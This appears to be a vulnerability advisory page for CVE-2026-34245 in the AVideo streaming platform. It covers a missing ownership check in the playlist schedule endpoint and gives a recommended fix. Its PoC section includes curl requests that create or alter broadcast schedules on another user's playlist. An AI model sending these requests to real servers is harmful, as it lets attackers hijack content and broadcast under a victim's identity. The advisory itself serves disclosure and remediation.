Skip to content

GHSA-2rm7-j397-3fqg CVE-2026-34245

AVideo: Missing Authorization in Playlist Schedule Creation Allows Cross-User Broadcast Hijacking

Medium Packagist
Severity
6.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.25%
Chance of exploitation in the next 30 days. Higher than 16.95% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-862 Missing Authorization
Fix
None yet
No fixed version published

Description

Summary

The plugin/PlayLists/View/Playlists_schedules/add.json.php endpoint allows any authenticated user with streaming permission to create or modify broadcast schedules targeting any playlist on the platform, regardless of ownership. When the schedule executes, the rebroadcast runs under the victim playlist owner's identity, allowing content hijacking and stream disruption.

Details

The endpoint at plugin/PlayLists/View/Playlists_schedules/add.json.php performs only a capability check, not an ownership check:

// add.json.php:14 — only checks if user CAN stream, not if they OWN the playlist
if (!User::canStream()) {
    forbiddenPage(__("You cannot livestream"));
}

// Line 18-19: attacker-controlled playlists_id is used directly
$o = new Playlists_schedules(@$_POST['id']);
$o->setPlaylists_id($_POST['playlists_id']);

The Playlists_schedules::save() method (line 182) only validates that playlists_id is non-empty — no ownership check:

public function save()
{
    if(empty($this->playlists_id)){
        _error_log("Playlists_schedules::save playlists_id is empty");
        return false;
    }
    // ...
    return parent::save();
}

When the schedule triggers via plugin/PlayLists/run.php, the rebroadcast executes under the playlist owner's user ID, not the schedule creator's:

// run.php:55 — uses playlist owner's ID
$pl = new PlayList($ps->playlists_id);
$response = Rebroadcaster::rebroadcastVideo(
    $ps->current_videos_id,
    $pl->getUsers_id(),  // <-- victim's user ID
    Playlists_schedules::getPlayListScheduledIndex($value['id']),
    $title
);

By contrast, all other playlist modification endpoints properly verify ownership via PlayLists::canManagePlaylist():

// PlayLists.php:55-68
static function canManagePlaylist($playlists_id)
{
    if (!User::isLogged()) return false;
    if (self::canManageAllPlaylists()) return true;
    $pl = new PlayList($playlists_id);
    if ($pl->getUsers_id() == User::getId()) return true;
    return false;
}

This check is used in saveShowOnTV.json.php:43, playListToSerie.php:24, and getPlaylistButtons.php:34, but is entirely absent from add.json.php.

Additionally, the delete.json.php endpoint requires User::isAdmin() (line 11), making the disparity with add.json.php even clearer.

When providing an existing schedule id via POST (line 18), no ownership check is performed on the existing schedule record either, allowing modification of any schedule on the platform.

PoC

# Step 1: Authenticate as a normal user with streaming permission
# Obtain PHPSESSID via login

# Step 2: Create a broadcast schedule targeting another user's playlist
# Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API)
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'playlists_id=<VICTIM_PLAYLIST_ID>&name=hijacked&start_datetime=2026-03-26+12:00:00&finish_datetime=2026-03-27+12:00:00&loop=1&repeat=d&parameters={}'

# Expected: {"error":false} — schedule created for victim's playlist
# The schedule will execute via run.php under the victim's user identity

# Step 3: Modify an existing schedule by providing its id
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'id=<EXISTING_SCHEDULE_ID>&playlists_id=<VICTIM_PLAYLIST_ID>&name=modified&start_datetime=2026-03-26+00:00:00&finish_datetime=2026-03-28+00:00:00&loop=1&repeat=d&parameters={}'

Impact

  • Content hijacking: Attacker can force-broadcast content from any user's playlist, including private or paid content
  • Stream disruption: Scheduled rebroadcast can interfere with a victim's ongoing live streams
  • Identity abuse: Rebroadcast executes under the victim's user identity, making it appear the victim initiated the broadcast
  • Resource consumption: Scheduled broadcasts consume the victim's server bandwidth allocation
  • Schedule tampering: Existing schedules can be modified or redirected by any streaming user

Recommended Fix

Add ownership validation in add.json.php before saving:

// After line 16 (canStream check), add:
$playlists_id = intval($_POST['playlists_id']);
if (!PlayLists::canManagePlaylist($playlists_id)) {
    forbiddenPage(__("You cannot manage this playlist"));
}

// When editing existing schedules, also verify ownership of the existing record:
if (!empty($_POST['id'])) {
    $existing = new Playlists_schedules(intval($_POST['id']));
    if (!PlayLists::canManagePlaylist($existing->getPlaylists_id())) {
        forbiddenPage(__("You cannot modify this schedule"));
    }
}

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 6.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Weakness

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor